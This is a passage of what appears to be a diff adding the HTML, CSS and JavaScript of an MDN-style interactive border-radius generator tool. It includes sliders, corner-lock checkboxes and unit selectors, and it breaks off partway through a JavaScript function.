+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> rounded corner </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> select border units </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
